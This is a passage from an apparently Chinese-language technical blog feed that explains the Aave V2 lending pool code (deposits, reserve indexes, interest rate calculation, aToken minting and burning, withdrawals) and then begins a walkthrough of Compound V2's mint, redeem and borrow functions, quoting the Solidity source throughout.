language-solidity"><code class="language-solidity">ValidationLogic.validateDeposit(reserve, amount);</code></pre><p>再更新储备池中的复利因子,储备池的固定利率和浮动利率(UpdateState,updateInterestRates会在后面仔细讨论),</p><pre class=" language-solidity"><code class="language-solidity"> reserve.updateState(); reserve.updateInterestRates(asset, aToken, amount, 0);</code></pre><p>再转移用户的资产,</p><pre class=" language-solidity"><code class="language-solidity">IERC20(asset).safeTransferFrom(msg.sender, aToken, amount);</code></pre><p>再根据流动性index铸造新的aToken代币并转入用户账户地址(会在后面仔细讨论),</p><pre class=" language-solidity"><code class="language-solidity">bool isFirstDeposit = IAToken(aToken).mint(onBehalfOf, amount, reserve.liquidityIndex);</code></pre><p>如果是第一次存款, 设置用户存入的金额可以作为借贷抵押品</p><pre class=" language-solidity"><code class="language-solidity"> if (isFirstDeposit) { _usersConfig[onBehalfOf].setUsingAsCollateral(reserve.id, true); emit ReserveUsedAsCollateralEnabled(asset, onBehalfOf); }</code></pre><h3 id="Reserve-储备池"><a href="#Reserve-储备池" class="headerlink" title="Reserve 储备池"></a>Reserve 储备池</h3><p>对于每种代币,AAVE都会建立一个专门的储备池。针对该代币的存款,取款,借贷和偿还都是在这个储备池上进行。</p><p>储备池结构</p><pre class=" language-solidity"><code class="language-solidity">struct ReserveData { //stores the reserve configuration ReserveConfigurationMap configuration; //the liquidity index. Expressed in ray uint128 liquidityIndex; //variable borrow index. Expressed in ray uint128 variableBorrowIndex; //the current supply rate. Expressed in ray uint128 currentLiquidityRate; //the current variable borrow rate. Expressed in ray uint128 currentVariableBorrowRate; //the current stable borrow rate. Expressed in ray uint128 currentStableBorrowRate; uint40 lastUpdateTimestamp; //tokens addresses address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; //address of the interest rate strategy address interestRateStrategyAddress; //the id of the reserve. Represents the position in the list of the active reserves uint8 id; }</code></pre><p>储备池中比较重要的参数可以分成三部分,</p><p>1.第一部分是关于存款凭证和债务凭证的合约地址:</p><p>aTokenAddress:存款凭证的合约地址</p><p>stableDebtTokenAddress:固定贷款债务凭证的合约地址,</p><p>variableDebtTokenAddress:浮动利率债务凭证的合约地址</p><p>2.第二部分是计算复利用的序列索引, 我们会在updateState函数中介绍它的作用.</p><p>liquidityIndex:根据加权利率计算复利的序列索引</p><p>variableBorrowIndex:计算浮动利率复利的序列索引</p><p>3.第三部分是利率</p><p>currentLiquidtyRate: 加权了浮动利率和固定利率后的当前利率</p><p>currentVariableBorrowRate:当前浮动利率</p><p>currentStableBorrowRate:当前固定利率</p><p>interestRateStrategy: 利率模型合约地址</p><h3 id="UpdateState"><a href="#UpdateState" class="headerlink" title="UpdateState"></a>UpdateState</h3><pre class=" language-solidity"><code class="language-solidity">function updateState(DataTypes.ReserveData storage reserve) internal { uint256 scaledVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress).scaledTotalSupply(); uint256 previousVariableBorrowIndex = reserve.variableBorrowIndex; uint256 previousLiquidityIndex = reserve.liquidityIndex; uint40 lastUpdatedTimestamp = reserve.lastUpdateTimestamp; (uint256 newLiquidityIndex, uint256 newVariableBorrowIndex) = _updateIndexes( reserve, scaledVariableDebt, previousLiquidityIndex, previousVariableBorrowIndex, lastUpdatedTimestamp ); _mintToTreasury( reserve, scaledVariableDebt, previousVariableBorrowIndex, newLiquidityIndex, newVariableBorrowIndex, lastUpdatedTimestamp ); }</code></pre><p>updateState函数的功能可以分成两部分,第一部分是更新计算复利的序列索引,第二部分是通过铸aToken。</p><p>先从第一部分更新序列索引开始。</p><pre class=" language-solidity"><code class="language-solidity">function _updateIndexes( DataTypes.ReserveData storage reserve, uint256 scaledVariableDebt, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 timestamp ) internal returns (uint256, uint256) { uint256 currentLiquidityRate = reserve.currentLiquidityRate; uint256 newLiquidityIndex = liquidityIndex; uint256 newVariableBorrowIndex = variableBorrowIndex; //only cumulating if there is any income being produced if (currentLiquidityRate > 0) { uint256 cumulatedLiquidityInterest = MathUtils.calculateLinearInterest(currentLiquidityRate, timestamp); newLiquidityIndex = cumulatedLiquidityInterest.rayMul(liquidityIndex); require(newLiquidityIndex <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW); reserve.liquidityIndex = uint128(newLiquidityIndex); //as the liquidity rate might come only from stable rate loans, we need to ensure //that there is actual variable debt before accumulating if (scaledVariableDebt != 0) { uint256 cumulatedVariableBorrowInterest = MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp); newVariableBorrowIndex = cumulatedVariableBorrowInterest.rayMul(variableBorrowIndex); require( newVariableBorrowIndex <= type(uint128).max, Errors.RL_VARIABLE_BORROW_INDEX_OVERFLOW ); reserve.variableBorrowIndex = uint128(newVariableBorrowIndex); } } //solium-disable-next-line reserve.lastUpdateTimestamp = uint40(block.timestamp); return (newLiquidityIndex, newVariableBorrowIndex); }</code></pre><p>可变利率复利可以通过不断相乘得到。例如当前是第n期(1+Rate_1),(1+Rate_2)(1+Rate_1),直到(1+Rate_n)(1+Rate_(n-1))…(1+Rate_1)这形成了一个复利因子的序列。任何时刻,我们只需要把本金乘以对应的第i期复利因子,就可以计算得到第i期后吗,连本带利的值是多少。 index(i)就表示第i期的复利因子。AAVE 也使用了类似的做法计算复利。</p><p>接下来,我们看看Liquidity Index 是在何时,以何种方式被更新的。</p><p>Liquditiy Index的计算方式如下:</p><pre class=" language-solidity"><code class="language-solidity"> uint256 cumulatedLiquidityInterest = MathUtils.calculateLinearInterest(currentLiquidityRate, timestamp); newLiquidityIndex = cumulatedLiquidityInterest.rayMul(liquidityIndex); require(newLiquidityIndex <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW);</code></pre><p>换成数学公式,就是newLiquidityIndex = (currentLiquidRate*timeinterval+1)*LiquidityIndex。</p><p>浮动利率复利因子计算如下:</p><pre class=" language-solidity"><code class="language-solidity"> uint256 cumulatedVariableBorrowInterest = MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp); newVariableBorrowIndex = cumulatedVariableBorrowInterest.rayMul(variableBorrowIndex); require( newVariableBorrowIndex <= type(uint128).max, Errors.RL_VARIABLE_BORROW_INDEX_OVERFLOW );</code></pre><p>换成数学公式,就是newVariableBorrowIndex=(1+currentVariableBorroowRate)Exp(time interval)* variableBorrowIndex。</p><p>第2部分铸aToken</p><pre class=" language-solidity"><code class="language-solidity">function _mintToTreasury( DataTypes.ReserveData storage reserve, uint256 scaledVariableDebt, uint256 previousVariableBorrowIndex, uint256 newLiquidityIndex, uint256 newVariableBorrowIndex, uint40 timestamp ) internal { MintToTreasuryLocalVars memory vars; vars.reserveFactor = reserve.configuration.getReserveFactor(); if (vars.reserveFactor == 0) { return; } //fetching the principal, total stable debt and the avg stable rate ( vars.principalStableDebt, vars.currentStableDebt, vars.avgStableRate, vars.stableSupplyUpdatedTimestamp ) = IStableDebtToken(reserve.stableDebtTokenAddress).getSupplyData(); //calculate the last principal variable debt vars.previousVariableDebt = scaledVariableDebt.rayMul(previousVariableBorrowIndex); //calculate the new total supply after accumulation of the index vars.currentVariableDebt = scaledVariableDebt.rayMul(newVariableBorrowIndex); //calculate the stable debt until the last timestamp update vars.cumulatedStableInterest = MathUtils.calculateCompoundedInterest( vars.avgStableRate, vars.stableSupplyUpdatedTimestamp, timestamp ); vars.previousStableDebt = vars.principalStableDebt.rayMul(vars.cumulatedStableInterest); //debt accrued is the sum of the current debt minus the sum of the debt at the last update vars.totalDebtAccrued = vars .currentVariableDebt .add(vars.currentStableDebt) .sub(vars.previousVariableDebt) .sub(vars.previousStableDebt); vars.amountToMint = vars.totalDebtAccrued.percentMul(vars.reserveFactor); if (vars.amountToMint != 0) { IAToken(reserve.aTokenAddress).mintToTreasury(vars.amountToMint, newLiquidityIndex); } }</code></pre><p>首先定义了一个MintToTreasuryLocalVars结构体</p><pre class=" language-solidty"><code class="language-solidty"> struct MintToTreasuryLocalVars { uint256 currentStableDebt; uint256 principalStableDebt; uint256 previousStableDebt; uint256 currentVariableDebt; uint256 previousVariableDebt; uint256 avgStableRate; uint256 cumulatedStableInterest; uint256 totalDebtAccrued; uint256 amountToMint; uint256 reserveFactor; uint40 stableSupplyUpdatedTimestamp; }</code></pre><p>这结构可以看做一张动态的银行资产负债表。</p><p>固定利率的债务获取可以通过StableDebtToken::getSupplyData () 函数获取。</p><pre class=" language-solidity"><code class="language-solidity"> ( vars.principalStableDebt, vars.currentStableDebt, vars.avgStableRate, vars.stableSupplyUpdatedTimestamp ) = IStableDebtToken(reserve.stableDebtTokenAddress).getSupplyData();</code></pre><p>浮动利率债务和固定利率债务有点不一样,使用了scaled缩放的乘积技巧。具体来说就是存储浮动利率债务除以variableBorrowIndex的值ScVB。每次借贷时改变ScVB,接着反向计算出改变后的浮动利率债务。</p><pre class=" language-solidity"><code class="language-solidity"> //calculate the last principal variable debt vars.previousVariableDebt = scaledVariableDebt.rayMul(previousVariableBorrowIndex); //calculate the new total supply after accumulation of the index vars.currentVariableDebt = scaledVariableDebt.rayMul(newVariableBorrowIndex);</code></pre><p>计算前一次固定利率债务本息和,AAVE直接使用了平均固定利率进行复利计算。我们可以认为平均固定利率可以看做一系列不同利率的时间加权平均值。</p><pre class=" language-solidity"><code class="language-solidity"> vars.cumulatedStableInterest = MathUtils.calculateCompoundedInterest( vars.avgStableRate, vars.stableSupplyUpdatedTimestamp, timestamp ); vars.previousStableDebt = vars.principalStableDebt.rayMul(vars.cumulatedStableInterest);</code></pre><p>然后就是计算前后债务之差,差值就是本次调用前后的利息增加值。</p><pre class=" language-solidity"><code class="language-solidity"> vars.totalDebtAccrued = vars .currentVariableDebt .add(vars.currentStableDebt) .sub(vars.previousVariableDebt) .sub(vars.previousStableDebt);</code></pre><p>最后一步就是乘以储备因子,并且铸造。</p><pre class=" language-solidity"><code class="language-solidity"> vars.amountToMint = vars.totalDebtAccrued.percentMul(vars.reserveFactor); if (vars.amountToMint != 0) { IAToken(reserve.aTokenAddress).mintToTreasury(vars.amountToMint, newLiquidityIndex); }</code></pre><p>此处值得注意的是,增加的利息额还要除以复利因子才是铸造的数量,这就像把利息用复利因子做了一次折现,换算成对应的aToken本金。</p><h3 id="UpdateInterestRates"><a href="#UpdateInterestRates" class="headerlink" title="UpdateInterestRates"></a>UpdateInterestRates</h3><pre class=" language-solidity"><code class="language-solidity">function updateInterestRates( DataTypes.ReserveData storage reserve, address reserveAddress, address aTokenAddress, uint256 liquidityAdded, uint256 liquidityTaken ) internal { UpdateInterestRatesLocalVars memory vars; vars.stableDebtTokenAddress = reserve.stableDebtTokenAddress; (vars.totalStableDebt, vars.avgStableRate) = IStableDebtToken(vars.stableDebtTokenAddress) .getTotalSupplyAndAvgRate(); //calculates the total variable debt locally using the scaled total supply instead //of totalSupply(), as it's noticeably cheaper. Also, the index has been //updated by the previous updateState() call vars.totalVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress) .scaledTotalSupply() .rayMul(reserve.variableBorrowIndex); ( vars.newLiquidityRate, vars.newStableRate, vars.newVariableRate ) = IReserveInterestRateStrategy(reserve.interestRateStrategyAddress).calculateInterestRates( reserveAddress, aTokenAddress, liquidityAdded, liquidityTaken, vars.totalStableDebt, vars.totalVariableDebt, vars.avgStableRate, reserve.configuration.getReserveFactor() ); require(vars.newLiquidityRate <= type(uint128).max, Errors.RL_LIQUIDITY_RATE_OVERFLOW); require(vars.newStableRate <= type(uint128).max, Errors.RL_STABLE_BORROW_RATE_OVERFLOW); require(vars.newVariableRate <= type(uint128).max, Errors.RL_VARIABLE_BORROW_RATE_OVERFLOW); reserve.currentLiquidityRate = uint128(vars.newLiquidityRate); reserve.currentStableBorrowRate = uint128(vars.newStableRate); reserve.currentVariableBorrowRate = uint128(vars.newVariableRate); emit ReserveDataUpdated( reserveAddress, vars.newLiquidityRate, vars.newStableRate, vars.newVariableRate, reserve.liquidityIndex, reserve.variableBorrowIndex ); }</code></pre><p>AAVE的借贷利率,可以分成两部分。一部分是依赖于外部Oracle和固定债务数量而确定的固定利率,另一部分则是根据流动性的增减而变化的浮动利率。</p><p>首先还是定义了一个数据结构</p><pre class=" language-solidity"><code class="language-solidity"> struct UpdateInterestRatesLocalVars { address stableDebtTokenAddress; uint256 availableLiquidity; uint256 totalStableDebt; uint256 newLiquidityRate; uint256 newStableRate; uint256 newVariableRate; uint256 avgStableRate; uint256 totalVariableDebt; }</code></pre><p>具体作用显而易见,就不再赘述。</p><p>接下来,我们看看固定利率,浮动利率和加权后的流动性利率是如何计算的。</p><p>首先获取债务信息</p><pre class=" language-solidity"><code class="language-solidity"> (vars.totalStableDebt, vars.avgStableRate) = IStableDebtToken(vars.stableDebtTokenAddress) .getTotalSupplyAndAvgRate(); vars.totalVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress) .scaledTotalSupply() .rayMul(reserve.variableBorrowIndex);</code></pre><p>然后更新利率,AAVE把利率更新操作包装在IReserveInterestRatesStrategy接口的calculateInterstRates函数中。这个接口由<a href="https://github.com/aave/protocol-v2/blob/master/contracts/protocol/lendingpool/DefaultReserveInterestRateStrategy.sol">DefaultReserveInterestRateStrategy</a>合约实现。</p><pre class=" language-solidity"><code class="language-solidity"> function calculateInterestRates( address reserve, address aToken, uint256 liquidityAdded, uint256 liquidityTaken, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view override returns ( uint256, uint256, uint256 ) { uint256 availableLiquidity = IERC20(reserve).balanceOf(aToken); //avoid stack too deep availableLiquidity = availableLiquidity.add(liquidityAdded).sub(liquidityTaken); return calculateInterestRates( reserve, availableLiquidity, totalStableDebt, totalVariableDebt, averageStableBorrowRate, reserveFactor ); }</code></pre><p>这个函数首先获取了储备池对应的aToken的所有流动性(即总数)。然后更新了流动性。重载调用了calculateInterstRates函数,真正的逻辑全在里面。</p><p>首先计算了总债务与储备池的利用率。</p><pre class=" language-solidity"><code class="language-solidity"> vars.totalDebt = totalStableDebt.add(totalVariableDebt); vars.utilizationRate = vars.totalDebt == 0 ? 0 : vars.totalDebt.rayDiv(availableLiquidity.add(vars.totalDebt));</code></pre><p>然后从外界oracle获取一个初始值,作为计算固定利率的基础。</p><pre class=" language-solidity"><code class="language-solidity"> vars.currentStableBorrowRate = ILendingRateOracle(addressesProvider.getLendingRateOracle()) .getMarketBorrowRate(reserve);</code></pre><p>接下来就是利率的更新了</p><p><img src="/image%5Cphilly-magic-garden.jpg" alt="利率"></p><p>这里的#可以为V或S,带入后得到VRt或SRt分别表示浮动利率和稳定利率。<br>换句话说,VRt与SRt计算公式相同,只是系统参数不同。</p><pre class=" language-solidity"><code class="language-solidity"> if (vars.utilizationRate > OPTIMAL_UTILIZATION_RATE) { uint256 excessUtilizationRateRatio = vars.utilizationRate.sub(OPTIMAL_UTILIZATION_RATE).rayDiv(EXCESS_UTILIZATION_RATE); vars.currentStableBorrowRate = vars.currentStableBorrowRate.add(_stableRateSlope1).add( _stableRateSlope2.rayMul(excessUtilizationRateRatio) ); vars.currentVariableBorrowRate = _baseVariableBorrowRate.add(_variableRateSlope1).add( _variableRateSlope2.rayMul(excessUtilizationRateRatio) ); } else { vars.currentStableBorrowRate = vars.currentStableBorrowRate.add( _stableRateSlope1.rayMul(vars.utilizationRate.rayDiv(OPTIMAL_UTILIZATION_RATE)) ); vars.currentVariableBorrowRate = _baseVariableBorrowRate.add( vars.utilizationRate.rayMul(_variableRateSlope1).rayDiv(OPTIMAL_UTILIZATION_RATE) ); }</code></pre><p>这段代码完整地实现了白皮书上的二段式利率定价过程。</p><p>计算流动性利率。</p><pre class=" language-solidity"><code class="language-solidity"> vars.currentLiquidityRate = _getOverallBorrowRate( totalStableDebt, totalVariableDebt, vars .currentVariableBorrowRate, averageStableBorrowRate ) .rayMul(vars.utilizationRate) .percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(reserveFactor));</code></pre><p>如果一个储备池利用率很低,那么大部分闲散资金对于借贷利率并无贡献。例如一家银行的借贷数量只有总存款的百分之一,即使它的贷款利率是40%,那么实际银行按照总存款量计算的收益率也仅仅是0.4%。流动性利率计算的就是这个实际的收益率。<br><br>计算流动性利率的功能被包装在函数_getOverallBorrowRate中。</p><pre class=" language-solidity"><code class="language-solidity"> function _getOverallBorrowRate( uint256 totalStableDebt, uint256 totalVariableDebt, uint256 currentVariableBorrowRate, uint256 currentAverageStableBorrowRate ) internal pure returns (uint256) { uint256 totalDebt = totalStableDebt.add(totalVariableDebt); if (totalDebt == 0) return 0; uint256 weightedVariableRate = totalVariableDebt.wadToRay().rayMul(currentVariableBorrowRate); uint256 weightedStableRate = totalStableDebt.wadToRay().rayMul(currentAverageStableBorrowRate); uint256 overallBorrowRate = weightedVariableRate.add(weightedStableRate).rayDiv(totalDebt.wadToRay()); return overallBorrowRate; }</code></pre><p>返回的加权借贷利率是算入了固定利率债务和可变利率债务。接着AAVE将利用率考虑进去,并扣除了移交给国库的部分利息,得到最后的流动性利率。这也可以此时该代币储备池的总收益率。</p><p>LiquidityRate=OverallBorrowRate<em>UtilizationRate</em>(1-ReserveFactor)</p><h2 id="Mint"><a href="#Mint" class="headerlink" title="Mint"></a>Mint</h2><p>让我们回到之前LendingPool::Deposit函数,看看aave如何给用户mint</p><pre class=" language-solidity"><code class="language-solidity"> function mint( address user, uint256 amount, uint256 index ) external override onlyLendingPool returns (bool) { uint256 previousBalance = super.balanceOf(user); uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT); _mint(user, amountScaled); emit Transfer(address(0), user, amount); emit Mint(user, amount, index); return previousBalance == 0; }</code></pre><p>函数首先查询用户当前的账户aToken余额。接着使用复利因子将amount对应进行贴现,得到一个折现后的amountScaled。然后才铸造amountScaled数量的aToken给用户。</p><p>why?</p><p>假设AAVE是2020年底开始计息,用户1在2020年底存入了100个USDC,年利息假设是10%,那么2021年底用户1持有的本金和是110个USDC。2022年底用户1持有的USDC本金和是121USDC = 100 *(1+0.1)(1+0.1)=Liquidity index(2)。</p><p>用户2在2021年底存入了100 USDC,那么2022年底用户2持有的本金和为110 USDC = 100 <em>(1+0.1)=100</em> Liquidity index(1)。</p><p>那么如果AAVE直接分配给用户1和用户2各100个aUSDC,那么在2022年底,用户1的100个aUSDC可以获取121个USDC,用户2的100个USDC也可以获取121个USDC,这明显是不合理的。</p><p>因此为了计算合理,用户2在2021年存入100个USDC时,应该给与 100/Liqudity(1) 个aUSDC。这样在2022年底计息时,用户2的本金和就是<br>100/Liquidity(1) * Liquidity(2)=110 USDC。</p><h2 id="Withdraw"><a href="#Withdraw" class="headerlink" title="Withdraw"></a>Withdraw</h2><pre class=" language-solidity"><code class="language-solidity"> function withdraw( address asset, uint256 amount, address to ) external override whenNotPaused returns (uint256) { DataTypes.ReserveData storage reserve = _reserves[asset]; address aToken = reserve.aTokenAddress; uint256 userBalance = IAToken(aToken).balanceOf(msg.sender); uint256 amountToWithdraw = amount; if (amount == type(uint256).max) { amountToWithdraw = userBalance; } ValidationLogic.validateWithdraw( asset, amountToWithdraw, userBalance, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() ); reserve.updateState(); reserve.updateInterestRates(asset, aToken, 0, amountToWithdraw); if (amountToWithdraw == userBalance) { _usersConfig[msg.sender].setUsingAsCollateral(reserve.id, false); emit ReserveUsedAsCollateralDisabled(asset, msg.sender); } IAToken(aToken).burn(msg.sender, to, amountToWithdraw, reserve.liquidityIndex); emit Withdraw(asset, msg.sender, to, amountToWithdraw); return amountToWithdraw; }</code></pre><p>与Deposit类似,首先获取了存入的资产合约的储备池对象</p><pre class=" language-solidity"><code class="language-solidity">DataTypes.ReserveData storage reserve = _reserves[asset];</code></pre><p>然后验证取款是否合法</p><pre class=" language-solidity"><code class="language-solidity"> ValidationLogic.validateWithdraw( asset, amountToWithdraw, userBalance, _reserves, _usersConfig[msg.sender], _reservesList, _reservesCount, _addressesProvider.getPriceOracle() );</code></pre><p>再更新复利序列索引和流动性利率。(由于再Deposit中已经分析了,此处就不赘述了)</p><pre class=" language-solidity"><code class="language-solidity">reserve.updateState();reserve.updateInterestRates(asset, aToken, 0, amountToWithdraw);</code></pre><p>最后销毁aToken,返回资产代币给用户。</p><pre class=" language-solidity"><code class="language-solidity">IAToken(aToken).burn(msg.sender, to, amountToWithdraw, reserve.liquidityIndex);function burn( address user, address receiverOfUnderlying, uint256 amount, uint256 index ) external override onlyLendingPool { uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT); _burn(user, amountScaled); IERC20(_underlyingAsset).safeTransfer(receiverOfUnderlying, amount); emit Transfer(user, address(0), amount); emit Burn(user, receiverOfUnderlying, amount, index);}</code></pre><p>这里唯一要细说的地方是销毁的aToken数目是经过流动性复利因子贴现过的数目。</p><p>同样举个例子:</p><p>客户存入2020年底存入了100 USDC,此时AAVE刚刚开始计息,流动性利率假设一直为10%。</p><p>那么到了2022年,客户的本金和是100<em>1.1</em>1.1=121 USDC = 100 * LiquidityIndex(2)。客户持有的aToken则一直是100</p><p>这里问题来了,客户此时打算全部提取走121 USDC。那么如果销毁121个aToken,这明显是不合适的。aToken作为存款凭证,并不会随着利息的增加而增加,它始终代表的是最初的100个USDC。</p><p>所以此时销毁的aToken数量是 121/LiquidityIndex(2)=100</p>]]></content>
</entry>
<entry>
<title>compund分析</title>
<link href="/2024/03/08/compund%E5%88%86%E6%9E%90/"/>
<url>/2024/03/08/compund%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<h1 id="Compound-V2-解析"><a href="#Compound-V2-解析" class="headerlink" title="Compound V2 解析"></a>Compound V2 解析</h1><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Compound V3版本早已在2022年8月26日上线了以太坊主网,之所以写Compound V2的解析是因为V2版本简单一点,更好入门。</p><h2 id="准备"><a href="#准备" class="headerlink" title="准备"></a>准备</h2><p><a href="https://cloudflare-ipfs.com/ipfs/QmbjzyFDCAXVTkVaNMbPFbeuJmjTcSVDxq3VzQEMRkzz9V/">Compound V2官网</a></p><p><a href="https://docs.compound.finance/v2/#guides">Compound V2开发文档</a></p><p><a href="https://github.com/compound-finance/compound-protocol">Compound V2源码仓库</a></p><h2 id="官网"><a href="#官网" class="headerlink" title="官网"></a>官网</h2><p>因为Compound没有像Aave那样提供测试网,因此无法做演示。所以就不过多介绍官网了。</p><h2 id="合约架构"><a href="#合约架构" class="headerlink" title="合约架构"></a>合约架构</h2><p>cToken:cToken合约是主要业务逻辑的合约,用户直接操作的合约,保存用户资产,提供业务接口。<br>interestRateModel:提供资产利率的计算模型的抽象合约。<br>comptroller:封装了一些操作条件审查。<br>priceOracle:价格预言机,提供资产价格。</p><h2 id="CToken-sol"><a href="#CToken-sol" class="headerlink" title="CToken.sol"></a>CToken.sol</h2><h3 id="存款"><a href="#存款" class="headerlink" title="存款"></a>存款</h3><p>入口函数</p><pre class=" language-solidity"><code class="language-solidity"> function mintInternal(uint mintAmount) internal nonReentrant { accrueInterest(); // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to mintFresh(msg.sender, mintAmount); }</code></pre><p>可以看到mintInternal方法首先会调用accrueInterest计算新的利息(在InterestRateModel合约时再看),然后调用mintFresh方法。</p><pre class=" language-solidity"><code class="language-solidity">function mintFresh(address minter, uint mintAmount) internal { /* Fail if mint not allowed */ uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount); if (allowed != 0) { revert MintComptrollerRejection(allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { revert MintFreshnessCheck(); } Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal()}); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call `doTransferIn` for the minter and the mintAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * `doTransferIn` reverts if anything goes wrong, since we can't be sure if * side-effects occurred. The function returns the amount actually transferred, * in case of a fee. On success, the cToken holds an additional `actualMintAmount` * of cash. */ uint actualMintAmount = doTransferIn(minter, mintAmount); /* * We get the current exchange rate and calculate the number of cTokens to be minted: * mintTokens = actualMintAmount / exchangeRate */ uint mintTokens = div_(actualMintAmount, exchangeRate); /* * We calculate the new total supply of cTokens and minter token balance, checking for overflow: * totalSupplyNew = totalSupply + mintTokens * accountTokensNew = accountTokens[minter] + mintTokens * And write them into storage */ totalSupply = totalSupply + mintTokens; accountTokens[minter] = accountTokens[minter] + mintTokens; /* We emit a Mint event, and a Transfer event */ emit Mint(minter, actualMintAmount, mintTokens); emit Transfer(address(this), minter, mintTokens); /* We call the defense hook */ // unused function // comptroller.mintVerify(address(this), minter, actualMintAmount, mintTokens); }</code></pre><p>可以看到mintFresh方法中首先进行了一系列的检查,然后计算汇率,再根据汇率计算获得的cToken数量,最后更新用户状态和totalSupply。</p><h3 id="取款"><a href="#取款" class="headerlink" title="取款"></a>取款</h3><p>入口函数</p><pre class=" language-solidity"><code class="language-solidity"> function redeemInternal(uint redeemTokens) internal nonReentrant { accrueInterest(); // redeemFresh emits redeem-specific logs on errors, so we don't need to redeemFresh(payable(msg.sender), redeemTokens, 0); }</code></pre><p>同样redeemInternal方法首先会调用accrueInterest计算新的利息,然后调用redeemFresh方法。</p><pre class=" language-solidity"><code class="language-solidity"> function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal { require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero"); /* exchangeRate = invoke Exchange Rate Stored() */ Exp memory exchangeRate = Exp({mantissa: exchangeRateStoredInternal() }); uint redeemTokens; uint redeemAmount; /* If redeemTokensIn > 0: */ if (redeemTokensIn > 0) { /* * We calculate the exchange rate and the amount of underlying to be redeemed: * redeemTokens = redeemTokensIn * redeemAmount = redeemTokensIn x exchangeRateCurrent */ redeemTokens = redeemTokensIn; redeemAmount = mul_ScalarTruncate(exchangeRate, redeemTokensIn); } else { /* * We get the current exchange rate and calculate the amount to be redeemed: * redeemTokens = redeemAmountIn / exchangeRate * redeemAmount = redeemAmountIn */ redeemTokens = div_(redeemAmountIn, exchangeRate); redeemAmount = redeemAmountIn; } /* Fail if redeem not allowed */ uint allowed = comptroller.redeemAllowed(address(this), redeemer, redeemTokens); if (allowed != 0) { revert RedeemComptrollerRejection(allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { revert RedeemFreshnessCheck(); } /* Fail gracefully if protocol has insufficient cash */ if (getCashPrior() < redeemAmount) { revert RedeemTransferOutNotPossible(); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We write the previously calculated values into storage. * Note: Avoid token reentrancy attacks by writing reduced supply before external transfer. */ totalSupply = totalSupply - redeemTokens; accountTokens[redeemer] = accountTokens[redeemer] - redeemTokens; /* * We invoke doTransferOut for the redeemer and the redeemAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken has redeemAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(redeemer, redeemAmount); /* We emit a Transfer event, and a Redeem event */ emit Transfer(redeemer, address(this), redeemTokens); emit Redeem(redeemer, redeemAmount, redeemTokens); /* We call the defense hook */ comptroller.redeemVerify(address(this), redeemer, redeemAmount, redeemTokens); }</code></pre><p>redeemFresh逻辑与mintFresh差不多,就是根据exchangeRateStoredInternal的汇率将抵押品赎回,归还一定量的cToken,唯一不同的是 用户可以根据redeemTokensIn或redeemAmountIn来选择取出多少质押品或出多少cToken。最后通过doTransferOut(redeemer, redeemAmount);转给用户。</p><h3 id="借款"><a href="#借款" class="headerlink" title="借款"></a>借款</h3><p>入口函数</p><pre class=" language-solidity"><code class="language-solidity">function borrowInternal(uint borrowAmount) internal nonReentrant { accrueInterest(); // borrowFresh emits borrow-specific logs on errors, so we don't need to borrowFresh(payable(msg.sender), borrowAmount); }</code></pre><p>与上同理</p><pre class=" language-solidity"><code class="language-solidity">function borrowFresh(address payable borrower, uint borrowAmount) internal { /* Fail if borrow not allowed */ uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount); if (allowed != 0) { revert BorrowComptrollerRejection(allowed); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { revert BorrowFreshnessCheck(); } /* Fail gracefully if protocol has insufficient underlying cash */ if (getCashPrior() < borrowAmount) { revert BorrowCashNotAvailable(); } /* * We calculate the new borrower and total borrow balances, failing on overflow: * accountBorrowNew = accountBorrow + borrowAmount * totalBorrowsNew = totalBorrows + borrowAmount */ uint accountBorrowsPrev = borrowBalanceStoredInternal(borrower); uint accountBorrowsNew = accountBorrowsPrev + borrowAmount; uint totalBorrowsNew = totalBorrows + borrowAmount; ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We write the previously calculated values into storage. * Note: Avoid token reentrancy attacks by writing increased borrow before external transfer. `*/ accountBorrows[borrower].principal = accountBorrowsNew; accountBorrows[borrower].interestIndex = borrowIndex; totalBorrows = totalBorrowsNew; /* * We invoke doTransferOut for the borrower and the borrowAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken borrowAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(borrower, borrowAmount); /* We emit a Borrow event */ emit Borrow(borrower, borrowAmount, accountBorrowsNew, totalBorrowsNew); }</code></pre><p>在borrowFresh中首先通过borrowBalanceStoredInternal计算用户的上次借款总数accountBorrowsPrev(包含利息),然后加上本次借款数borrowAmount得到本次借款总数,存到 